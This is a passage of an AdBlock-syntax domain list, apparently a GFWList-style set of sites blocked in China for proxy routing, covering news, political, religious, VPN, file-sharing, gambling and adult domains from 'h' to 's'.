com\\n||huhamhire.com\\nhumanrightsbriefing.org\\n||hung-ya.com\\n||hungerstrikeforaids.org\\n||huping.net\\n||hutianyi.net\\nhutong9.net\\n||hwayue.org.tw\\n||hwinfo.com\\nhxwq.org\\n||hypeshell.com\\n||hyperrate.com\\n\\n!--------------------II--------------------\\n.i-cable.com\\n||i1.hk\\n||i2p2.de/\\n||i2runner.com\\niask.ca\\n||iask.ca\\niask.bz\\n||iask.bz\\nibiblio.org/pub/packages/ccic\\n||iblogserv-f.net\\nibros.org\\n|http://cn.ibtimes.com\\nblogs.icerocket.com/tag\\n.icij.org\\n||icl-fi.org\\n\\n!--http://furbo.org/2015/01/28/grass-mud-horse/\\n||iconfactory.com\\n\\n||iconpaper.org\\n!-- Google Pages\\n||icu-project.org\\nw.idaiwan.com/forum\\nidemocracy.asia\\n.identi.ca\\n||identi.ca\\n||idiomconnection.com\\n|http://www.idlcoyote.com\\n.idouga.com\\nforum.idsam.com\\n.idv.tw\\nieasynews.net\\n.ied2k.net\\n|http://if.ttt/\\nifanqiang.com\\n.ifanr.com/857\\n.ifcss.org\\n||ifcss.org\\nifjc.org\\n|http://ift.tt\\n||ifreewares.com\\n||igfw.net\\n||ignitedetroit.net\\n||igvita.com\\n||ihakka.net\\n||iicns.com\\n||illusionfactory.com\\n||ilove80.be\\n||im.tv\\n@@||myvlog.im.tv\\n||im88.tw\\n.imagefap.com\\n||imagefap.com\\n||imageflea.com\\nimageshack.us\\n||imagevenue.com\\n||imagezilla.net\\n!--.imdb.com\\n!--|http://imdb.com\\n|http://www.imdb.com/name/nm0482730\\n|http://www.imdb.com/title/tt0819354/\\n.img.ly\\n||img.ly\\n.imkev.com\\n||imkev.com\\n.imlive.com\\nimmigration.gov.tw\\n|http://tech2.in.com/video/\\n||incredibox.fr\\n.initiativesforchina.org\\n.inmediahk.net\\n||inmediahk.net\\n||innermongolia.org\\n.instagram.com\\n||instagram.com\\n||interfaceaddiction.com\\n||internationalrivers.org\\n|http://internet.org/\\ninternetdefenseleague.org\\ninternetfreedom.org\\n!--||interpol.int\\n||internetpopculture.com\\ninxian.com\\n||inxian.com\\n||ipcf.org.tw\\n||iphone4hongkong.com\\n||iphonehacks.com\\n||iphonix.fr\\n||ipicture.ru\\n!--ipobar.com\\n||ippotv.com\\n|https://*.iptorrents.com\\n|https://iptorrents.com\\n||ipvanish.com\\niredmail.org\\n||ironicsoftware.com\\n||ironbigfools.compython.net\\n||ironpython.net\\n.beta.iset.com.tw/forum\\nhttp://beta.iset.com.tw/forum\\nforum.iset.com.tw\\n.islam.org.hk\\n.islamicity.com\\n.isaacmao.com\\n||isaacmao.com\\n||isgreat.org\\n||ismaelan.com\\n||ismprofessional.net\\nisohunt.com\\n||israbox.com\\nblog.istef.info/2007/10/21/myentunnel\\n.istockphoto.com\\nisunaffairs.com\\nisuntv.com\\nitaboo.info\\n||itaboo.info\\ndownload.ithome.com.tw\\nithelp.ithome.com.tw\\n||itshidden.com\\n.itweet.net\\n|http://itweet.net\\n.iu45.com\\n||iuhrdf.org\\n.iverycd.com\\n||lvv2.com\\n||ixquick.com\\niyouport.com\\n||iyouport.com\\n.izaobao.us\\n||gmozomg.izihost.org\\n.izles.net\\n\\n!--------------------JJ--------------------\\n||j.mp\\nblog.jackjia.com\\n||japan-whores.com\\n.javbus.com\\njbtalks.cc\\njbtalks.com\\njbtalks.my\\n.jdwsy.com\\njeanyim.com\\n||jgoodies.com\\n||jiaoyou8.com\\n.jiehua.cz\\n||hk.jiepang.com\\n||tw.jiepang.com\\njieshibaobao.com\\njigong1024.com\\njinbushe.org\\n||jinbushe.org\\nzhao.jinhai.de\\njingpin.org\\n||jingpin.org\\nac.jiruan.net\\n||jitouch.com\\njkforum.net\\n||jma.go.jp\\nresearch.jmsc.hku.hk/social\\n||joachims.org\\n||jobso.tv\\n||joeedelman.com\\n||journalofdemocracy.org\\njpopforum.net\\n||juliereyc.com\\n||junauza.com\\n.junefourth-20.net\\n||junefourth-20.net\\njustfreevpn.com\\njusttristan.com\\njuyuange.org\\njuziyue.com\\n||juziyue.com\\n||jwmusic.org\\n@@||music.jwmusic.org\\n.jyxf.net\\n\\n!--------------------KK--------------------\\n||ka-wai.com\\n.kagyuoffice.org\\n||kagyuoffice.org\\n||kagyuoffice.org.tw\\n.kaiyuan.de\\n||kakao.com\\nkanzhongguo.com\\nkanzhongguo.eu\\n||karayou.com\\n||kcsoftwares.com\\n.kechara.com\\n.keepandshare.com/visit/visit_page.php?i=688154\\n||keepvid.com\\n.kendincos.net\\n.kenengba.com\\n||kenengba.com\\n||keontech.net\\nwiki.keso.cn/Home\\n.khabdha.org\\n.khmusic.com.tw\\nbbs.kimy.com.tw\\n||kindleren.com\\n.kingdomsalvation.org\\nkinghost.com\\n.kingstone.com.tw\\nkillwall.com\\n||killwall.com\\n.kissbbao.cn\\n|http://kiwi.kz\\n||kmt.org.tw\\n.knowledgerush.com/kr/encyclopedia\\n||kodingen.com\\n@@||www.kodingen.com\\n||kompozer.net\\n||koolsolutions.com\\n.koornk.com\\n||koornk.com\\n.kui.name/event\\n.kuliwang.com\\nkun.im\\n.kurashsultan.com\\n||kurtmunger.com\\nkusocity.com\\n||kwcg.ca\\nkwongwah.com.my\\nkyohk.net\\n.kzeng.info\\n||kzeng.info\\n\\n!--------------------LL--------------------\\nla-forum.org\\nladbrokes.com\\n||labiennale.org\\nlagranepoca.com\\n.lalulalu.com\\n|http://www.lamenhu.com\\nlaogai.org\\n||laogai.org\\nlaomiu.com\\n.laoyang.info\\n|http://laoyang.info\\n||laptoplockdown.com\\n||laqingdan.net\\n||larsgeorge.com\\n||lastfm.es\\nlatelinenews.com\\n.latibet.org\\n||lazarsearlymusic.com\\n||leecheukyan.org\\n|http://leirentv.ca\\nleisurecafe.ca\\n||lematin.ch\\n.lemonde.fr\\n||lenwhite.com\\nlerosua.org\\n||lerosua.org\\nblog.lester850.info\\n||lesoir.be\\nletscorp.net\\n||letscorp.net\\n.liangyou.net\\n||liangyou.net\\nliansi.org\\n.lianyue.net\\n||liaowangxizang.net\\n.liaowangxizang.net\\n||liberal.org.hk\\nlibertytimes.com.tw\\n.lidecheng.com/blog/fucking-gfw\\nlimiao.net\\nabitno.linpie.com/use-ipv6-to-fuck-gfw\\n||line.me\\n.linglingfa.com\\n||lingvodics.com\\n.linkideo.com\\n||api.linksalpha.com\\n||apidocs.linksalpha.com\\n||www.linksalpha.com\\n||help.linksalpha.com\\n||linux-engineer.net\\n||linuxconfig.org\\n||linuxreviews.org\\nlinuxtoy.org/archives/installing-west-chamber-on-ubuntu\\n.lipuman.com\\n||listentoyoutube.com\\nlistorious.com\\n||liudejun.com\\n.liuhanyu.com\\n.liujianshu.com\\n||liujianshu.com\\nliuxiaotong.com\\n||liuxiaotong.com\\nliu.lu\\n.liveleak.com\\n||liveleak.com\\n.livestation.com\\nlivestream.com\\n||livestream.com\\n||livingonline.us\\n||livingstream.com\\n||livevideo.com\\n.livevideo.com\\nlizhizhuangbi.com\\nlkcn.net\\n|http://localpresshk.com\\n||lockdown.com\\n||lockestek.com\\nlogbot.net\\n||logiqx.com\\n||logmike.com\\n.longhair.hk\\n||longtermly.net\\n.lookatgame.com\\n|http://lookatgame.com\\n||lookingglasstheatre.org\\n||lookpic.com\\n.looktoronto.com\\n.lotsawahouse.org/tibetan-masters/fourteenth-dalai-lama\\n.lotuslight.org.tw\\nhkreporter.loved.hk\\n||lrfz.com\\n.lrip.org\\n|http://lrip.org/\\n.lsd.org.hk\\n||lsd.org.hk\\nlsforum.net\\n||lsm.org\\n||lsmchinese.org\\n||lsmkorean.org\\n.lsmradio.com/rad_archives\\n.ltn.com.tw\\n|http://ltn.com.tw\\n.lupm.org\\n||lupm.org\\n||lushstories.com\\nlvhai.org\\n||lvhai.org\\n\\n!--------------------MM--------------------\\nforum.m-team.cc/forum\\n||mh4u.org\\nm-team.cc/forum\\nwww.macrovpn.com\\n||mad-ar.ch\\n|http://maiplus.com\\n||marc.info\\nmarguerite.su\\n||martincartoons.com\\n.maiio.net\\nmail-archive.com\\n.malaysiakini.com\\n||makemymood.com\\n||marines.mil\\nmarkmail.org*message\\n||martau.com\\n.martsangkagyuofficial.org\\n|http://martsangkagyuofficial.org\\nmaruta.be/forget\\n.marxist.com\\n||marxist.net\\n.marxists.org/chinese\\n!--mashable.com\\n!--||mashable.com\\n||matainja.com\\n||mathiew-badimon.com\\n||matsushimakaede.com\\n|http://maturejp.com\\nmayimayi.com\\n||mcadforums.com\\nmcfog.com\\n.md-t.org\\n||md-t.org\\n.mediafire.com/?\\n.mediafire.com/download\\n||meetup.com\\nmefeedia.com\\n.megaporn.com\\n||megaproxy.com\\n||megarotic.com\\nmegavideo.com\\n||megurineluka.com\\nmeirixiaochao.com\\n||melon-peach.com\\nmemedia.cn\\n.memehk.com\\n||memehk.com\\n.memrijttm.org\\nmerit-times.com.tw\\n.mesotw.com/bbs\\n.metacafe.com\\n||meteorshowersonline.com\\n|http://www.metro.taipei/\\n||metrolife.ca\\n||mgoon.com\\n||mgstage.com\\nmhradio.org\\n|http://michaelanti.com\\n||michaelmarketl.com\\nmiddle-way.net\\n.mihk.hk/forum\\nmihua.org\\n.mimivip.com\\n.mimivv.com\\n.mindrolling.org\\n|http://mindrolling.org\\nminghui.org\\n||minghui.org\\nminghui-a.org\\nminghui-b.org\\nminghui-school.org\\n.mingjinglishi.com\\n||mingjinglishi.com\\nmingjingnews.com\\n||mingjingtimes.com\\nmingpao.com\\n.mingpaocanada.com\\n.mingpaomonthly.com\\nmingpaonews.com\\n.mingpaony.com\\n.mingpaosf.com\\n.mingpaotor.com\\n.mingpaovan.com\\n.mingshengbao.com\\n.ministrybooks.org\\n.minzhuhua.net\\n||minzhuhua.net\\nminzhuzhanxian.com\\nminzhuzhongguo.org\\n||miroguide.com\\nmirrorbooks.com\\nmitbbs.com\\n.mixero.com\\n||mixero.com\\nmixpod.com\\n.mixx.com\\n||mixx.com\\n||mizzmona.com\\n.mk5000.com\\n.mlcool.com\\n||mmaaxx.com\\nplurktop.mmdays.com\\n.mmmca.com\\n||mobatek.net\\n.mobile01.com\\n||mobileways.de\\n.mobypicture.com\\n|http://moby.to\\n||mrdoob.com\\nwiki.moegirl.org\\n||mog.com\\nmolihua.org\\n||mondex.org\\n|http://www.monlamit.org\\nc1522.mooo.com\\n||monitorchina.org\\nbbs.morbell.com\\n||morningsun.org\\n||movabletype.com\\n||moviefap.com\\n||www.moztw.org\\nmp3ye.eu\\n||mp/\\n||mpettis.com\\nmpfinance.com\\nmpinews.com\\nmrtweet.com\\n||mrtweet.com\\nnews.msn.com.tw\\nmsguancha.com\\n||mthruf.com\\n||multiply.com\\nmultiproxy.org\\nforum.mymaji.com\\nmultiupload.com\\n||muouju.com\\n||muselinks.co.jp\\n||muzi.com\\n||muzi.net\\n||mx981.com\\n.my-proxy.com\\nforum.my903.com\\nmyactimes.com\\n||my-addr.com\\n||myaudiocast.com\\n.myav.com.tw/bbs\\n||bbs.mychat.to\\n||mychinamyhome.com\\n.mychinamyhome.com\\n||www.mycould.com\\n||myeclipseide.com\\n.myforum.com.hk\\n||myforum.com.hk\\n||myforum.com.uk\\n.myfreshnet.com\\n||myparagliding.com\\n||mypopescu.com\\nmysinablog.com\\n.myspace.com\\n!--.blogs.myspace.com\\n!--||blogs.myspace.com\\n!--vids.myspace.com/index.cfm?fuseaction=vids.\\n!--viewmorepics.myspace.com\\n\\n!--------------------NN--------------------\\n||naacoalition.org\\nold.nabble.com\\n||naitik.net\\n||namsisi.com\\nnanyang.com\\n||nanyang.com\\n.nanyangpost.com\\n||nanyangpost.com\\n.nanzao.com/sc/hk-macau-tw\\n||jpl.nasa.gov\\n||pds.nasa.gov\\n/^https?:\\\\/\\\\/[^\\\\/]+line\\\\.naver\\\\.jp/\\n||navicat.com\\n.nakido.com\\n||nakido.com\\n.naol.ca\\ncyberghost.natado.com\\n||national-lottery.co.uk\\n||usno.navy.mil\\nnccwatch.org.tw\\n.nch.com.tw\\n.ncn.org\\n||ncn.org\\n||etools.ncol.com\\n.nde.de\\n.ndr.de\\nwww.ned.org\\n||nekoslovakia.net\\nt.neolee.cn\\nnetcolony.com\\nbolin.netfirms.com\\nzh.netlog.com\\nnetme.cc\\nnetworkedblogs.com\\nneverforget8964.org\\nnew-3lunch.net\\n.new-akiba.com\\n.newcenturymc.com\\n|http://newcenturymc.com\\nnewcenturynews.com\\n||newchen.com\\n.newchen.com\\n.newgrounds.com\\nnewlandmagazine.com.au\\nnews100.com.tw\\n.newscn.org\\n||newscn.org\\n||newsminer.com\\nnewspeak.cc/story\\n.newsancai.com\\n||newstapa.org\\n.newtaiwan.com.tw\\nnewtalk.tw\\n||newtalk.tw\\nnewyorktimes.com\\n!--hk*.nextmedia.com\\n!--tw*.nextmedia.com\\n!--static*.nextmedia.com\\n.nextmedia.com\\n||nexton-net.jp\\nnexttv.com.tw\\n||nga.mil\\nngensis.com\\n.nicovideo.jp/watch\\n!--||nicovideo.jp\\n||nighost.org\\nninecommentaries.com\\nnintendium.com\\ntaiwanyes.ning.com\\nusmgtcg.ning.com/forum\\n||niusnews.com\\n||njactb.org\\nnjuice.com\\n||njuice.com\\nnlfreevpn.com\\n!--no-ip.com\\n||nobel.se\\n!--.nobelprize.org\\n!--|http://nobelprize.org\\nnobelprize.org/nobel_prizes/peace/laureates/2010\\nnobodycanstop.us\\n||nobodycanstop.us\\n||nokogiri.org\\n||nokola.com\\n.norbulingka.org\\n||novelasia.com\\n|http://news.now.com/home*\\n||nownews.com\\n.nowtorrents.com\\n.noypf.com\\n||noypf.com\\n||npa.go.jp\\n.nps.gov\\n.nrk.no\\n||nrk.no\\n||nsc.gov.tw\\n.ntd.tv\\n||ntd.tv\\nntdtv.co\\nntdtv.ca\\nntdtv.org\\nntdtv.ru\\n||cbs.ntu.edu.tw\\n.nubiles.net\\n||nuexpo.com\\n||nurgo-software.com\\n.nuvid.com\\nnuzcom.com\\n.nvquan.org\\n.nwtca.org\\n||nyaa.se\\n.nydus.ca\\n||nyt.com\\n||nytco.com\\n|http://nyti.ms/\\n.nytimes.com\\n||nytimes.com\\n||nytimg.com\\nnysingtao.com\\n||nzchinese.net.nz\\n\\n!--------------------OO--------------------\\nobservechina.net\\noclp.hk\\n||october-review.org\\noffbeatchina.com\\nofficeoftibet.com\\n||ogaoga.org\\ntwtr2src.ogaoga.org\\nwww2.ohchr.org/english/bodies/cat/docs/ngos/II_China_41.pdf\\n.oikos.com.tw/v4\\n.oiktv.com\\noizoblog.com\\n.okayfreedom.com\\nold-cat.net\\n||olumpo.com\\n.olympicwatch.org\\nomgili.com\\n||omnitalk.com\\n||omnitalk.org\\ncling.omy.sg\\nforum.omy.sg\\nnews.omy.sg\\nshowbiz.omy.sg\\n||on.cc\\n||onedrive.live.com\\n|http://www.onion.city\\n.onlylady.cn\\nonmoon.net\\nonmoon.com\\n!--Sorry but we are confused as well\\n||ontrac.com\\n.oopsforum.com\\nopen.com.hk\\nopendemocracy.net\\nmyopenid.com\\n||myopenid.com\\nopenid.net\\n||openid.net\\n||blog.openinkpot.org\\n.openleaks.org\\n||openleaks.org\\nopenvpn.net\\n||openvpn.net\\n||openwebster.com\\n|http://help.opera.com\\nmy.opera.com/dahema\\n||demo.opera-mini.net\\nwww.orchidbbs.com\\norganharvestinvestigation.net\\n||orient-doll.com\\norientaldaily.com.my\\n||orientaldaily.com.my\\n!--orientaldaily.on.cc\\n||orn.jp\\nt.orzdream.com\\n||t.orzdream.com\\ntui.orzdream.com\\n||orzistic.org\\n||osfoora.com\\n|http://www.osmdroid.net\\n||ourdearamy.com\\noursogo.com\\noursteps.com.au\\nxinqimeng.over-blog.com\\nshare.ovi.com/media\\n|http://owl.li\\n|http://ht.ly\\n|http://htl.li\\n|http://mash.to\\nwww.owind.com\\n|http://www.oxid.it\\noyax.com\\n.ozchinese.com/bbs\\n||ow.ly\\nbbs.ozchinese.com\\n.ozyoyo.com\\n\\n!--------------------PP--------------------\\n.pacificpoker.com\\n.packetix.net\\n.padmanet.com\\npage2rss.com\\n||pagodabox.com\\n\\n!--Godaddy Free Hosting\\n||paint.net\\n||coveringweb.com\\n.palacemoon.com\\nforum.palmislife.com\\n||eriversoft.com\\npaljorpublications.com\\npaper.li\\npaperb.us\\n.panluan.net\\n||panluan.net\\n||pao-pao.net\\n.parade.com/dictators/2009\\n.passion.com\\n||passion.com\\n.passiontimes.hk\\npastebin.com\\n.pastie.org\\n||pastie.org\\n||blog.pathtosharepoint.com\\npbs.org/wgbh/pages/frontline/gate\\npbs.org/wgbh/pages/frontline/tankman\\npbs.org/wgbh/pages/frontline/tibet\\n\\n!--Pbwiki\\npbwiki.com\\n||pbworks.com\\n||developers.box.net\\n||wiki.oauth.net\\n||wiki.phonegap.com\\n||wiki.jqueryui.com\\n\\n||pbxes.com\\n||pbxes.org\\n.pcdiscuss.com\\npcdvd.com.tw\\n.pchome.com.tw\\n|http://pcij.org/\\n||pct.org.tw\\npdetails.com\\n||pdproxy.com\\n||peace.ca\\npeacefire.org\\npeacehall.com\\n|http://pearlher.org\\n.peeasian.com\\n.pekingduck.org\\n||pekingduck.org\\n||pen.io\\npenchinese.com\\n||penchinese.net\\n.penchinese.net\\npengyulong.com\\n||blog.pentalogic.net\\n.penthouse.com\\n.peopo.org\\n||peopo.org\\n.percy.in\\n.perfectgirls.net\\nperfectvpn.net\\n.persecutionblog.com\\nphayul.com\\nphilly.com\\n||phncdn.com\\n||photodharma.net\\n||photofocus.com\\n||phuquocservices.com\\n.picidae.net\\n||img*.picturedip.com\\npicturesocial.com\\n.pin6.com\\n||pin6.com\\n.ping.fm\\n||ping.fm\\n||pinoy-n.com\\n.piposay.com\\n.piring.com\\n||pixelqi.com\\n||css.pixnet.in\\n||pixnet.net\\n.pixnet.net\\n.pk.com\\n||placemix.com\\n!--.planetsuzy.org\\n|http://pictures.playboy.com\\n||playboy.com\\n||playpcesor.com\\nplays.com.tw\\n||m.plixi.com\\nplm.org.hk\\nplunder.com\\n.plus28.com\\n.plusbb.com\\n.pmates.com\\n||po2b.com\\n||pocoo.org\\n||podictionary.com\\n.pokerstars.com\\n||pokerstars.com\\nzh.pokerstrategy.com\\npoliticalchina.org\\npoliticalconsultation.org\\n!--||popularpages.net\\n||popvote.hk\\npopyard.com\\n||popyard.org\\n.porn.com\\n.porn2.com\\n.pornbase.org\\n||pornhd.com\\n.pornhub.com\\n||pornmm.net\\n.pornoxo.com\\n.pornrapidshare.com\\n||pornrapidshare.com\\n.pornstarclub.com\\n.porntube.com\\n.pornvisit.com\\n.portablevpn.nl\\n.post852.com\\npostadult.com\\n||powercx.com\\n||www.powerpointninja.com\\n||cdn.printfriendly.com\\n||pts.org.tw\\npubu.com.tw\\npuffinbrowser.com\\npureinsight.org\\n||putty.org\\n\\n!-------------Posterous-----\\n|http://post.ly\\n.posterous.com\\n|http://posterous.com\\n||post.anyu.org\\n||bralio.com\\n||calebelston.com\\n!-||blog.dabr.co.uk\\n||designerol.com\\n||blog.fizzik.com\\n||nf.id.au\\n||markmilian.com\\n||log.riku.me\\n||sogrady.me\\n||vatn.org\\n||veempiire.com\\n||www.vegorpedersen.com\\n||ventureswell.com\\n||webfee.tk\\n||whereiswerner.com\\n||bill.zhong.pp.ru\\n\\n.power.com\\n||power.com\\npowerapple.com\\n||abc.pp.ru\\nheix.pp.ru\\n||prayforchina.net\\n||premeforwindows7.com\\n||presentationzen.com\\n||prestige-av.com\\nprisoner-state-secret-journal-premier\\n.prisoneralert.com\\n||pritunl.com\\n||privacybox.de\\n||privateinternetaccess.com\\nprivatepaste.com\\n||privatepaste.com\\nprivatetunnel.com\\n||privatetunnel.com\\n||procopytips.com\\nprovideocoalition.com\\n||prosiben.de\\nproxifier.com\\napi.proxlet.com\\n||proxomitron.info\\nproxy.org\\n.proxypy.net\\n||proxypy.net\\nproxyroad.com\\nprozz.net\\npsblog.name\\n||psblog.name\\n||psiphon.ca\\n.ptt.cc\\n.puffstore.com\\n||pullfolio.com\\n||pureconcepts.net\\n||purepdf.com\\n||purevpn.com\\n.putlocker.com/file\\npwned.com\\npython.com\\n.python.com.tw\\n|http://python.com.tw\\n\\n!--------------------QQ--------------------\\n.qanote.com\\n||qanote.com\\nqi-gong.me\\n.qidian.ca\\n.qienkuen.org\\n||qienkuen.org\\n||qiwen.lu\\nqixianglu.cn\\nbbs.qmzdd.com\\n.qkshare.com\\nqoos.com\\n||qoos.com\\nblog.qooza.hk*dafengqixi\\n||efksoft.com\\n||qstatus.com\\n||qtweeter.com\\n||qtrac.eu\\n||quitccp.net\\n.quitccp.net\\n||quitccp.org\\n.quitccp.org\\n|http://quran.com\\nqusi8.net\\n.qvodzy.org\\nnemesis2.qx.net*pages*MyEnTunnel\\nqxbbs.org\\n\\n!--------------------RR--------------------\\n.ra.gg\\n|http://ra.gg/\\n.radicalparty.org\\nradioaustralia.net.au\\n.radiohilight.net\\n||radiohilight.net\\nopml.radiotime.com\\n||radiovaticana.org\\n||radiovncr.com\\n||raidcall.com.tw\\n.raidtalk.com.tw\\nrangzen.com\\nrangzen.net\\nrangzen.org\\n|http://blog.ranxiang.com/\\nranyunfei.com\\n||ranyunfei.com\\n.rapbull.net\\n|http://rapidgator.net/\\n!-.rapidshare.com\\n!-|http://rapidshare.com\\n||rapidshare8.com\\n.rapidsharedata.com\\n.raremovie.cc\\n|http://raremovie.cc\\n.raremovie.net\\n|http://raremovie.net\\n!--.rayfme.com/bbs\\nrcinet.ca\\n.read100.com\\n.readingtimes.com.tw\\n||readingtimes.com.tw\\n||readmoo.com\\n.realcourage.org\\n.realraptalk.com\\n.recordhistory.org\\nredchinacn.org\\n.redtube.com\\nreferer.us\\n||referer.us\\n||reflectivecode.com\\nrelaxbbs.com\\n.releaseinternational.org\\nreligioustolerance.org\\nrenminbao.com\\n.renyurenquan.org\\n||renyurenquan.org\\n|http://certificate.revocationcheck.com\\nsubacme.rerouted.org\\n.reuters.com\\n.revleft.com\\nretweetist.com\\n||retweetrank.com\\n!--connectedchina.reuters.com\\n!--|http://www.reuters.com/news/video\\nrevver.com\\n.rfa.org\\n|http://rfa.org\\n.rfachina.com\\n.rfamobile.org\\n||rferl.org\\n.rfi.fr\\n||rfi.fr\\n|http://rfi.my/\\n.rhcloud.com\\n!--Edgecast\\n|http://vds.rightster.com/\\n.rileyguide.com\\nriku.me/\\n.ritouki.jp\\n.rlwlw.com\\n||rlwlw.com\\n.rmjdw.com\\nchinese.rnw.nl\\n.rnw.nl\\nrobtex.com\\n||robustnessiskey.com\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=5mus\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=freemgl\\n||rocmp.org\\n||rojo.com\\n||ronjoneswriter.com\\n.roodo.com\\n.rosechina.net\\n.rotten.com\\n.rsf.org\\n||rsf.org\\n.rsf-chinese.org\\n||rsf-chinese.org\\n.rssmeme.com\\n||rssmeme.com\\n.rthk.hk\\n|http://rthk.hk\\n.rthk.org.hk\\n|http://rthk.org.hk\\nrti.org.tw\\n.ruanyifeng.com/blog*some_ways_to_break_the_great_firewall\\n.rushbee.com\\nrutube.ru\\n.ruyiseek.com\\n.rxhj.net\\n|http://rxhj.net\\n\\n!--------------------SS--------------------\\n||s-cute.com\\n.s-dragon.org\\n||s1heng.com\\n|http://www.s4miniarchive.com\\n||s8forum.com\\nsacom.hk\\n||sacom.hk\\n||sadpanda.us\\n.saiq.me\\n||saiq.me\\n||sakuralive.com\\n.salvation.org.hk\\n||salvation.org.hk\\n.samair.ru/proxy/type-01\\n.sambhota.org\\nsammyjs.org\\n||sankaizok.com\\n.sanmin.com.tw\\nsapikachu.net\\nsavemedia.com\\nsavetibet.de\\nsavetibet.fr\\nsavetibet.nl\\nsavetibet.org\\nsavetibet.ru\\nsavevid.com\\n||say2.info\\n|http://www.sciencemag.org/content/344/6187/953\\n.scmp.com\\n.scmpchinese.com\\n.scribd.com\\n||scriptspot.com\\nseapuff.com\\ndomainhelp.search.com\\nsecretchina.com\\n||secretgarden.no\\n||default.secureserver.net\\nsecuritykiss.com\\nseesmic.com\\n||seevpn.com\\n||seezone.net\\nsejie.com\\n.sendspace.com\\n|http://tweets.seraph.me/\\nsesawe.net\\n||sesawe.net\\n.sesawe.org\\n||sethwklein.net\\nforum.setty.com.tw\\n.sevenload.com\\n||sevenload.com\\n.sex.com\\n.sex-11.com\\n||sex3.com\\n||sex8.cc\\n.sexandsubmission.com\\n.sexhu.com\\n.sexhuang.com\\nsexinsex.net\\n||sexinsex.net\\n!--IP of SexInSex\\n67.220.91.18\\n67.220.91.23\\n|http://*.sf.net\\n.sfileydy.com\\n.sftuk.org\\n||sftuk.org\\nshadow.ma\\n.shadowsocks.org\\n||shadowsocks.org\\nshahamat-english.com\\n.shangfang.org\\n||shangfang.org\\nshapeservices.com\\n.sharebee.com\\n||sharecool.org\\n!--||sharkdolphin.com\\nsharpdaily.com.hk\\n||sharpdaily.com.hk\\n.sharpdaily.hk\\n.sharpdaily.tw\\n.shat-tibet.com\\nsheikyermami.com\\n.shenshou.org\\nshenyun.com\\nshenyunperformingarts.org\\nshenzhoufilm.com\\n||shenzhoufilm.com\\nshinychan.com\\n.shitaotv.org\\n||shixiao.org\\n||shizhao.org\\n.shizhao.org\\nshkspr.mobi/dabr\\n||shodanhq.com\\n.shopping.com\\n.showtime.jp\\nch.shvoong.com\\n.shwchurch3.com\\n|http://shwchurch3.com\\n||sidelinesnews.com\\n.sidelinessportseatery.com\\nsimplecd.org\\n||simplecd.org\\n@@||simplecd.me\\nsimpleproductivityblog.com\\nbbs.sina.com/\\nbbs.sina.com%2F\\nblog.sina.com.tw\\ndailynews.sina.com/\\ndailynews.sina.com%2F\\nforum.sina.com.hk\\nhome.sina.com\\n||magazines.sina.com.tw\\nnews.sina.com.hk\\nnews.sina.com.tw\\n|http://news.sinchew.com.my\\n.singaporepools.com.sg\\n||singaporepools.com.sg\\nsingtao.com\\n||singtao.com\\nnews.singtao.ca\\n!--||cdp.sinica.edu.tw\\nsino-monthly.com\\n||sinocast.com\\nsinocism.com\\nsinomontreal.ca\\n.sinonet.ca\\n.sinopitt.info\\n.sinoants.com\\n||sinoants.com\\nsinoquebec.com\\n||site90.net\\n.sitebro.tw\\n||sitekreator.com\\n||siteks.uk.to\\n||sitemaps.org\\nsitetag.us\\nsis.xxx\\n||sis001.com\\nsis001.us\\n||sjum.cn/\\n||skimtube.com\\n||skybet.com\\n|http://users.skynet.be/reves/tibethome.html\\n|http://skyhighpremium.com/\\nbbs.skykiwi.com\\n|http://www.skype.com/intl/\\n|http://www.skype.com/zh-Hant\\n||skyvegas.com\\n.xskywalker.com\\n||xskywalker.com\\nm.slandr.net\\n||slavasoft.com\\n||slheng.com\\n.slideshare.net\\nforum.slime.com.tw\\n.slinkset.com\\n||slickvpn.com\\n.slutload.com\\nsmhric.org\\n!--TODO-no-homepage\\n||snapchat.com\\n.snaptu.com\\n||snaptu.com\\n||sndcdn.com\\nsneakme.net\\n||snooper.co.uk\\nsnowlionpub.com\\n||so-ga.net\\n.so-ga.net\\n||so-news.com\\n.so-news.com\\nhome.so-net.net.tw/yisa_tsai\\n||soc.mil/\\n||sockslist.net\\n.sod.co.jp\\n.softether.org\\n||softether.org\\n.softether-download.com\\n||softether-download.com\\n||cdn.softlayer.net\\n||sogclub.com\\nsohcradio.com\\n||sohcradio.com\\n||www.somee.com\\n||sorting-algorithms.com\\n.soumo.info\\n||soup.io/\\n@@||static.soup.io\\n.sobees.com\\n||sobees.com\\nsocialwhale.com\\n.softether.co.jp\\n||softwarebychuck.com\\nblog.sogoo.org\\nsoh.tw\\n||soh.tw\\nsohfrance.org\\n||sohfrance.org\\nchinese.soifind.com\\nsokamonline.com\\n||somee.com\\n.songjianjun.com\\n||songjianjun.com\\n.sonidodelaesperanza.org\\n.sopcast.com\\n.sopcast.org\\n.soul-plus.net\\n||soundcloud.com\\n!--|https://soundcloud.com/punkgod\\n.soundofhope.kr\\nsoundofhope.org\\n||soundofhope.org\\n||soupofmedia.com\\n.sourceforge.net\\n!-|http://sourceforge.net\\n|http://sourceforge.net/p*/shadowsocksgui/\\nsouthnews.com.tw\\nsowers.org.hk\\n||wlx.sowiki.net\\n||space-scape.com\\n||spankbang.com\\n.spankwire.com\\n||spb.com\\n||speakerdeck.com\\n||spencertipping.com\\nspinejs.com\\n||sproutcore.com\\n||sproxy.info\\nsquarespace.com\\n||ssh91.com\\n!--|http://cdn.sstatic.net/\\nwww.stackfile.com/freedur\\n|http://stackoverflow.com/users/895245\\n.stage64.hk\\n||stage64.hk\\n||standupfortibet.org\\nstanford.edu/group/falun\\nusinfo.state.gov\\n.starp2p.com\\n||starp2p.com\\n.startpage.com\\n||startpage.com\\n.state168.com\\n||steel-storm.com\\n||stepmania.com\\nsthoo.com\\n||sthoo.com\\n.stickam.com\\nstickeraction.com/sesawe\\n||stoneip.info\\n||storagenewsletter.com\\n.storm.mg\\n||storm.mg\\n.stoptibetcrisis.net\\n||stoptibetcrisis.net\\n||storify.com\\n||stoweboyd.com\\n||streamingthe.net\\ncn.streetvoice.com/article\\ncn.streetvoice.com/diary\\ncn2.streetvoice.com\\ntw.streetvoice.com\\n||strongvpn.com\\n.student.tw/db\\n||studentsforafreetibet.org\\n||stumbleupon.com\\nstupidvideos.com\\n.sugarsync.com\\n||sugarsync.com\\nsummify.com\\nsun1911.com\\n.sunporno.com\\n||sunporno.com\\n.surfeasy.com\\n||surfeasy.com\\n.suyangg.com\\n|http://suyangg.com/\\n.suoluo.org\\napi.supertweet.net\\nwww.supertweet.net\\n.surfeasy.com.au\\n||surrenderat20.net\\n||svwind.com\\n||sweux